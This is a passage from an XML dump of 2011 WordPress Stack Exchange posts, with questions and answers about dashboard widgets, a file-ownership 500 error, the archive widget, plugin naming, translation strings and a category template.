'widget_display','widget_submission');&#xA;}&#xA;&#xA;function widget_display() {&#xA;  echo '&amp;lt;label&amp;gt;&amp;lt;small&amp;gt;YouTube ID&amp;lt;/small&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;youtube_id&quot; /&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br /&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; name=&quot;submit_youtube&quot; /&amp;gt;';&#xA;}&#xA;&#xA;function widget_submit() {&#xA;  //Do what you need to do with your youtube id possibly:&#xA;  if (get_option('youtubeid'))&#xA;  {&#xA;    update_option('youtubeid',$_POST['youtube_id']);&#xA;  }&#xA;  else {&#xA;    add_option('youtubeid',$_POST['youtube_id']);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="3714" LastEditorDisplayName="" LastEditDate="2011-07-14T00:52:39.317" LastActivityDate="2011-07-14T00:52:39.317" Title="Include a metabox in the 'home' screen of a custom post type? If not, then the dashboard page?" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="22673" PostTypeId="2" ParentId="22672" CreationDate="2011-07-11T21:17:59.730" Score="1" ViewCount="" Body="&lt;p&gt;Try something like this. I haven't actually done this yet, it is something I was looking into, so please let me know how it goes.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_action('wp_dashboard_setup', 'custom_dashbox');&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function custom_dashbox() {&#xA;    global $wp_meta_boxes;&#xA;&#xA;    wp_add_dashboard_widget('widget_slug','Widget Name', 'widget_display','widget_submission');&#xA;    }&#xA;&#xA;    function widget_display() {&#xA;    echo '&amp;lt;input type=&quot;text&quot; name=&quot;youtube_id&quot; /&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit_youtube&quot; /&amp;gt;';&#xA;    }&#xA;&#xA;function widget_submit() {&#xA;//Do what you need to do with your youtube id possibly:&#xA;if (get_option('youtubeid'))&#xA;{&#xA;update_option('youtubeid',$_POST['youtube_id']);&#xA;}&#xA;else {&#xA;add_option('youtubeid',$_POST['youtube_id']);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2911" LastActivityDate="2011-07-11T21:17:59.730" CommentCount="1" />
  <row Id="22674" PostTypeId="1" AcceptedAnswerId="23722" CreationDate="2011-07-11T21:27:12.777" Score="0" ViewCount="164" Body="&lt;p&gt;I've got a few dozen pages in my menu. When I try to add new pages to the menu, then Firefox gives me the &quot;connecting&quot; message int eh tab and it eventually stops after a few minutes and gives me an 500 Internal Server Error. The problem is intermittent. I'll be able to add a few pages to the menu without a problem and then run into the error again and lose many of the menu items that I had saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use HostGator and I have the dedicated server option. I submitted a ticket to HostGator to work on it. I'm running WP 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the server's error log and saw these entries: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Mon Jul 11 14:40:42 2011] [error] [client 74.202.255.243]&#xA;  SoftException in Application.cpp:303: UID of script&#xA;  &quot;/home/mysite/public_html/wp-admin/index.php&quot; is smaller than min_uid&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[Mon Jul 11 14:40:38 2011] [error] [client 216.110.94.228]&#xA;  SoftException in Application.cpp:303: UID of script&#xA;  &quot;/home/mysite/public_html/wp-admin/index.php&quot; is smaller than min_uid&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[Mon Jul 11 14:40:36 2011] [error] [client 74.202.255.243]&#xA;  SoftException in Application.cpp:303: UID of script&#xA;  &quot;/home/mysite/public_html/wp-admin/edit.php&quot; is smaller than min_uid,&#xA;  referer: &lt;a href=&quot;http://www.mysite.com/wp-admin/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/wp-admin/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[Mon Jul 11 14:27:31 2011] [error] [client 74.202.255.243]&#xA;  SoftException in Application.cpp:303: UID of script&#xA;  &quot;/home/mysite/public_html/wp-admin/index.php&quot; is smaller than min_uid&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[Mon Jul 11 14:27:30 2011] [error] [client 74.202.255.243]&#xA;  SoftException in Application.cpp:303: UID of script&#xA;  &quot;/home/mysite/public_html/wp-admin/index.php&quot; is smaller than min_uid&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[Mon Jul 11 14:27:22 2011] [error] [client 74.202.255.243]&#xA;  SoftException in Application.cpp:303: UID of script&#xA;  &quot;/home/mysite/public_html/wp-admin/index.php&quot; is smaller than min_uid&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[Mon Jul 11 14:27:19 2011] [error] [client 74.202.255.243]&#xA;  SoftException in Application.cpp:303: UID of script&#xA;  &quot;/home/mysite/public_html/wp-admin/index.php&quot; is smaller than min_uid&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[Mon Jul 11 14:27:18 2011] [error] [client 74.202.255.243]&#xA;  SoftException in Application.cpp:303: UID of script&#xA;  &quot;/home/mysite/public_html/wp-admin/nav-menus.php&quot; is smaller than&#xA;  min_uid&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on what to do? Could &lt;a href=&quot;http://wordpress.org/support/topic/saving-nav-menu-crashes-server?replies=4&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; have something to do with it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-22T00:31:14.467" Title="500 Internal Server Error when Trying to Save Menu" Tags="&lt;menus&gt;&lt;500-internal-error&gt;" AnswerCount="3" />
  <row Id="22675" PostTypeId="1" AcceptedAnswerId="22687" CreationDate="2011-07-11T21:59:43.817" Score="0" ViewCount="24" Body="&lt;p&gt;Is there a way to limit the amount of months shown in the Archive widget? I don't want to use a drop-down list (I can manually add a drop down in my footer so people can get the full archive). I'm currently showing 19 months in my Archive list, and want to limit it to 7. I know you can do this manually, but that would mess up my theme, so I wanted to do this with the Archive widget.&lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-07-12T01:08:43.560" Title="Limit archive widget results" Tags="&lt;widgets&gt;&lt;archive&gt;" AnswerCount="1" />
  <row Id="22676" PostTypeId="2" ParentId="18531" CreationDate="2011-07-11T22:16:18.377" Score="0" ViewCount="" Body="&lt;p&gt;I would use &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;vote it up&lt;/a&gt;, it does support two way voting but can be a bit buggy about accurate tracking of votes&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2011-07-11T22:16:18.377" />
  <row Id="22677" PostTypeId="1" AcceptedAnswerId="23473" CreationDate="2011-07-11T22:27:40.310" Score="0" ViewCount="54" Body="&lt;p&gt;I'm finding GD Star Ratings a bit complex to work with. I'm using the comment_form function to generate a custom &quot;review&quot; form on a custom post type. At the top of the form, I want reviewers to leave their rating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am &lt;em&gt;guessing&lt;/em&gt; that I want to hook into the &quot;comment_form_top&quot; action with one of the gd star ratings functions. Am I thinking the right direction? If so, do any of you have a code sample I could refer to? I'm having a hard time finding much in terms of documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas and suggestions are welcomed - Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-07-19T20:33:46.380" Title="Comment_form and GD Star Rating" Tags="&lt;comment-form&gt;&lt;plugin-gd-star-rating&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22678" PostTypeId="1" AcceptedAnswerId="22680" CreationDate="2011-07-11T23:13:26.070" Score="0" ViewCount="24" Body="&lt;p&gt;Up until now, I've been building my WordPress sites by transferring files through FTP. This can sometimes get really slow (time it takes to upload the file, Firebug slows to a crawl, etc.) and I was wondering how all the pros do it. I heard about installing something locally on your computer and building everything there? I'm new to this whole concept of building a site locally and would appreciate some guidance—mostly to speed up my development time. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6947" LastActivityDate="2011-07-11T23:27:28.523" Title="How do the pros code up a WordPress theme? Locally? Through FTP?" Tags="&lt;coding&gt;&lt;ftp&gt;&lt;localhost&gt;" AnswerCount="1" />
  <row Id="22679" PostTypeId="1" CreationDate="2011-07-11T23:17:15.270" Score="1" ViewCount="27" Body="&lt;p&gt;I remember - many moons ago - debugging a plugin that I was building for a very, very, long time. The only thing that fixed my issue (which I can't remember for the life of me), was to name the plugins main file (the one with the plugin header) the exact same name as the plugins folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then, I have never named the plugin file anything other than the name of the folder. Is this necessary for any core functionality to work, or am I just being superstitious? &lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-07-11T23:31:29.243" Title="Does a plugin's &quot;main&quot; file need to be named the same as the folder containing it?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="22680" PostTypeId="2" ParentId="22678" CreationDate="2011-07-11T23:27:28.523" Score="2" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Local web server is a must, it's pretty much generic web server stack (Apache, MySQL, PHP plus other bits) only running on your local computer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deployment depends on how you manage your code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;just resides on your computer - you will need to sync it to remote server in some way (FTP, SFTP, etc), any decent software for such is smart enough to transfer changed files only;&lt;/li&gt;&#xA;&lt;li&gt;resides in version control - you commit local code to repository, then you can either pull to remote site from that repository (or simply make commits and uploads independently).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-and-plugin-development&quot;&gt;Software for WordPress Theme and Plugin Development?&lt;/a&gt; for specific software titles.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-11T23:27:28.523" />
  <row Id="22681" PostTypeId="2" ParentId="22679" CreationDate="2011-07-11T23:31:29.243" Score="4" ViewCount="" Body="&lt;p&gt;Simple answer, NO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin file can be named anything you want as long as at the very top of it you include the plugin Meta (name, description. ...)&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-11T23:31:29.243" />
  <row Id="22682" PostTypeId="2" ParentId="22674" CreationDate="2011-07-11T23:41:59.230" Score="0" ViewCount="" Body="&lt;p&gt;It could be memory issue. You may try increasing &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP&quot; rel=&quot;nofollow&quot;&gt;memory available&lt;/a&gt; for php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you may want to server error log or php error logs.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-07-11T23:41:59.230" CommentCount="2" />
  <row Id="22683" PostTypeId="1" AcceptedAnswerId="22892" CreationDate="2011-07-11T23:53:34.250" Score="0" ViewCount="45" Body="&lt;p&gt;I am trying to use wp-minify to minify my js/css on the fly. I can get the 'direct' css files to be minified, but I can't seem to get wp-minify to minify the 'linked' css files. My theme is a child theme off of twenty-ten, so my child theme's styles.css gets minified, but not twenty-ten's styles file.&lt;/p&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2011-07-14T00:46:00.477" Title="How do I minify '@import' css files with wp-minify?" Tags="&lt;css&gt;&lt;optimization&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="22684" PostTypeId="1" CreationDate="2011-07-12T00:00:18.897" Score="0" ViewCount="31" Body="&lt;p&gt;I developed a customization for a client of mine using the Wordpress flutter plugin. The Flutter plugin is no longer supported because Worpress 3.0 supports custom post types. My Flutter application was for musical artists and I have figured out how to do everything except one thing. Each artist can have one or more records ( a discography ). Each discography is a collection of related data. How can I create a Wordpress custom post type that supports the ability to create multiple discographies? One artist might have 1 record and another might have 50.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;" OwnerUserId="6949" LastActivityDate="2011-07-12T00:00:18.897" Title="Wordpress Custom Post Types - How can I create and duplicate groups associated with a post" Tags="&lt;custom-post-types&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="22685" PostTypeId="2" ParentId="3293" CreationDate="2011-07-12T00:03:41.327" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;&amp;lt;?php get_template_part( 'name-the-page-here' ); ?&amp;gt;&lt;/code&gt;.&#xA;Without the extension .php&lt;/p&gt;&#xA;" OwnerUserId="6950" LastActivityDate="2011-07-12T00:03:41.327" />
  <row Id="22686" PostTypeId="2" ParentId="22674" CreationDate="2011-07-12T00:31:25.187" Score="0" ViewCount="" Body="&lt;p&gt;That error, &lt;strong&gt;SoftException in Application.cpp:303: UID of script&lt;/strong&gt; ... &lt;strong&gt;is smaller than min_uid&lt;/strong&gt; is because the files are owned by the wrong owner, normally root, and UID (user IDs) less &lt;code&gt;min_uid&lt;/code&gt; are not allowed (and root is typically 0).  I'm not sure how that happened on HostGator, or what tools you have to remedy it, but you need to make sure the files are owned by your user and your group and I think you will see this error go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have shell access on your dedicated server, you can easily change the owner and group (&lt;code&gt;chown&lt;/code&gt; and &lt;code&gt;chgrp&lt;/code&gt; commands).  If you don't have shell access, you should be able to change the ownership of the files with an FTP client.  HostGator should be able to help you with this as well.&lt;/p&gt;&#xA;" OwnerUserId="6230" LastEditorUserId="6230" LastEditorDisplayName="" LastEditDate="2011-07-13T04:31:19.980" LastActivityDate="2011-07-13T04:31:19.980" CommentCount="3" />
  <row Id="22687" PostTypeId="2" ParentId="22675" CreationDate="2011-07-12T01:08:43.560" Score="1" ViewCount="" Body="&lt;p&gt;I would use the &lt;a href=&quot;http://wordpress.org/extend/plugins/php-code-widget/&quot; rel=&quot;nofollow&quot;&gt;PHP Code Widget&lt;/a&gt; from &lt;a href=&quot;http://wordpress.stackexchange.com/users/2232/otto&quot;&gt;Otto&lt;/a&gt; and then simply put this in the widget to limit the archives to 7 months:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;?php wp_get_archives('type=monthly&amp;amp;limit=7'); ?&amp;gt;&amp;lt;/ul&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Give the widget a title like Archives if you want, and remove the default WordPress Archive widget.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;Function Reference/wp get archives&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6230" LastActivityDate="2011-07-12T01:08:43.560" />
  <row Id="22688" PostTypeId="1" AcceptedAnswerId="23524" CreationDate="2011-07-12T01:30:00.547" Score="7" ViewCount="291" Body="&lt;p&gt;I've been building some WordPress themes and plugins. What are the online marketplaces I can sell them?&lt;/p&gt;&#xA;" OwnerUserId="6739" LastActivityDate="2011-07-20T12:35:20.720" Title="Where can I sell WordPress themes and plugins?" Tags="&lt;plugins&gt;&lt;themes&gt;" AnswerCount="7" FavoriteCount="2" />
  <row Id="22689" PostTypeId="1" AcceptedAnswerId="22690" CreationDate="2011-07-12T01:38:09.153" Score="0" ViewCount="16" Body="&lt;p&gt;I recently &lt;a href=&quot;http://wordpress.stackexchange.com/questions/22590/is-it-necessary-to-translate-wordpress-key-terms-when-localizing-a-plugin/22598#22598&quot;&gt;asked a question&lt;/a&gt; about l18n for WordPress terms like &quot;Taxonomy&quot;, &quot;Plugin&quot;, &quot;Custom Post Type&quot;, etc. I was wanting to get some input on whether to translate these terms or not. Scribu made a great point suggesting that WordPress translates them and therefore, they should be translated in plugins. Also, he made a great suggestion that I could use the WordPress translations if I do not assign these terms a new textdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My new question is, how would this be best implemented. For instance, imagine I had an text input and I wanted to label it with &quot;Taxonomy Name&quot;. Would it make sense to do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;&amp;lt;?php echo __('Taxonomy') . ' ' . _x('Name', 'text input label', 'my_plugin_domain'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks hideous, but I would be able to take advantage of WordPress' l18n. Also, I'm uncertain of this method because it does not take advantage of argument swapping with printf. I'm not sure if you can mix the WordPress and custom l18n within argument swapping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on how to go about handle this?&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-12T01:51:40.703" Title="Mixing l18n string from my plugin with WordPress' translations" Tags="&lt;plugin-development&gt;&lt;l18n&gt;&lt;argument-swapping&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22690" PostTypeId="2" ParentId="22689" CreationDate="2011-07-12T01:51:40.703" Score="1" ViewCount="" Body="&lt;p&gt;Only use the internal translations if you use the complete string without any addition. Grammar rules, writing directions etc may be different in your user’s language and your order may not match their needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You example would be &lt;strong&gt;Taxonomiename&lt;/strong&gt; or &lt;strong&gt;Name der Taxonomie&lt;/strong&gt; in German. How should a translator handle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo _x('Taxonomy Name', 'text input label', 'my_plugin_domain'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-07-12T01:51:40.703" CommentCount="1" />
  <row Id="22691" PostTypeId="1" CreationDate="2011-07-12T02:16:04.303" Score="0" ViewCount="46" Body="&lt;p&gt;The category template &quot;category.php&quot; is not working properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic thing: I have six different product segment and that has been coded using page template.&#xA;Under each product page there are products that belongs to specific child category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: Home --&gt; Parent Category --&gt; Child category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are category duplication among six product page. Suppose, if a page is named &quot;page one&quot; and another page is &quot;page two&quot;, so, under &quot;page two&quot;, &quot;page one's&quot; categorical product is displayed using custom menu system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when url is &lt;a href=&quot;http://somesite.com/product-page/&quot; rel=&quot;nofollow&quot;&gt;http://somesite.com/product-page/&lt;/a&gt; is working fine but when viewing with &lt;a href=&quot;http://somesite.com/category/product-page/&quot; rel=&quot;nofollow&quot;&gt;http://somesite.com/category/product-page/&lt;/a&gt; the custom menu system is breaking. And that is happening due to malfunctioning of category.php. Pagination on category.php is not working properly, showing 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ONE THING: I'm conditionally accessing parent category with is_category()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function because to show up all the products under that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &quot;category.php&quot; code :::&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;content-cat&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php &#xA;&#xA;            global $query_string;&#xA;&#xA;            if (is_category('Consumables')) { &#xA;&#xA;                $cat = get_option('id_consum_cat'); &#xA;&#xA;                query_posts($query_string . &quot;&amp;amp;category_name=&quot; . $cat . &quot;&amp;amp;showposts=10&amp;amp;orderby=title&amp;amp;order=ASC&quot;); &#xA;&#xA;                }&#xA;&#xA;                else {&#xA;&#xA;                query_posts($query_string .&quot;&amp;amp;showposts=10&amp;amp;orderby=title&amp;amp;order=ASC&quot;); &#xA;&#xA;            } &#xA;&#xA;            ?&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php if (!have_posts()) : ?&amp;gt;&#xA;&#xA;        &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;Will be added soon...&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;        &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php echo single_cat_title(&quot;&quot;, TRUE); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php $count=0; while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php if($count % 2 == 0) echo '&amp;lt;div class=&quot;left&quot;&amp;gt;'; else echo '&amp;lt;div class=&quot;right&quot;&amp;gt;'; ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;cat-thumb&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php &#xA;&#xA;                $thumb = get_post_meta($post-&amp;gt;ID, '_mcf_block-one', true);&#xA;&#xA;                $pattern= &quot;/(?&amp;lt;=src=['|\&quot;])[^'|\&quot;]*?(?=['|\&quot;])/i&quot;;&#xA;&#xA;                preg_match($pattern, $thumb, $thePath);&#xA;&#xA;                $theSrc = $thePath[0];&#xA;&#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo get_image_path($post-&amp;gt;ID); ?&amp;gt;&quot; rel=&quot;big-image&quot;&amp;gt;&amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail( 'category-thumb' ); } ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;!--&amp;lt;img class=&quot;hovered&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/zoom.png&quot; /&amp;gt;--&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;cat-entry&quot;&amp;gt;&#xA;&#xA;                &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;      &#xA;&#xA;                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;  &#xA;&#xA;        &amp;lt;?php if($count % 2 != 0) echo '&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;';?&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php $count++; endwhile; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;            &amp;lt;?php if (function_exists ('wp_pagenavi')) : wp_pagenavi(); else : ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Previous', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php next_posts_link( __( 'Next &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt; ', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;   &#xA;&#xA;&#xA;&#xA;&amp;lt;?php $current_category = single_cat_title(&quot;&quot;, FALSE);&#xA;&#xA;    $parent_cat = get_the_category();&#xA;&#xA;    $back_to_current = get_cat_name($parent_cat[0]-&amp;gt;category_parent);&#xA;&#xA;&#xA;&#xA;    global $menu_class;&#xA;&#xA;    $menu_class = &quot;&quot;;&#xA;&#xA;    if ($back_to_current == &quot;Life Sciences&quot; || $current_category == &quot;Life Sciences&quot;) { $menu_class = &quot;lsc&quot;; }&#xA;&#xA;    if ($back_to_current == &quot;Histology&quot; || $current_category == &quot;Histology&quot;) { $menu_class = &quot;hist&quot;; }&#xA;&#xA;    if ($back_to_current == &quot;Forensics&quot; || $current_category == &quot;Forensics&quot;) { $menu_class = &quot;foren&quot;; }&#xA;&#xA;    if ($back_to_current == &quot;Clinical&quot; || $current_category == &quot;Clinical&quot;) { $menu_class = &quot;clinic&quot;; }&#xA;&#xA;    if ($back_to_current == &quot;Laboratory&quot; || $current_category == &quot;Laboratory&quot;) { $menu_class = &quot;lab&quot;; }&#xA;&#xA;    if ($back_to_current == &quot;Consumables&quot; || $current_category == &quot;Consumables&quot;) { $menu_class = &quot;con&quot;; }&#xA;&#xA;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php if ( is_category( array( 'life-sciences','laboratory','consumables','histology','forensics','clinical' ) ) == $current_category) { ?&amp;gt;&#xA;&#xA;&amp;lt;?php echo '&amp;lt;div id=&quot;cat-menu&quot;&amp;gt;&amp;lt;h3 class=&quot;'.$menu_class.'&quot;&amp;gt;'.$current_category.'&amp;lt;/h3&amp;gt;'; wp_nav_menu( array('container_id' =&amp;gt; 'sub-page', 'menu' =&amp;gt; $current_category ) ); echo '&amp;lt;/div&amp;gt;';  } elseif ( ! have_posts() ) { ?&amp;gt;&#xA;&#xA;&amp;lt;?php echo ''; } else { ?&amp;gt;&#xA;&#xA;&amp;lt;?php echo '&amp;lt;div id=&quot;cat-menu&quot;&amp;gt;&amp;lt;h3 class=&quot;'.$menu_class.'&quot;&amp;gt;'.$back_to_current.'&amp;lt;/h3&amp;gt;'; wp_nav_menu( array('container_id' =&amp;gt; 'sub-page', 'menu' =&amp;gt; $back_to_current ) ); echo '&amp;lt;/div&amp;gt;'; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="5628" LastActivityDate="2011-07-12T02:16:04.303" Title="Category Template is not working properly" Tags="&lt;categories&gt;" FavoriteCount="2" />
  <row Id="22692" PostTypeId="2" ParentId="22599" CreationDate="2011-07-12T02:37:38.143" Score="0" ViewCount="" Body="&lt;p&gt;There is a problem with WP 3.2 and the Visual Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Anyway, for us, our fix was to open up wp-admin/admin-footer.php and&#xA;  comment out line 36&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('admin_footer', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read this: &lt;a href=&quot;http://documentation.diyartportfolios.com/visual-editor-not-workin&quot; rel=&quot;nofollow&quot;&gt;http://documentation.diyartportfolios.com/visual-editor-not-workin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this: &lt;a href=&quot;http://wordpress.org/support/topic/upgraded-to-32-visual-editor-buttons-missing&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/upgraded-to-32-visual-editor-buttons-missing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-07-12T02:37:38.143" CommentCount="4" />
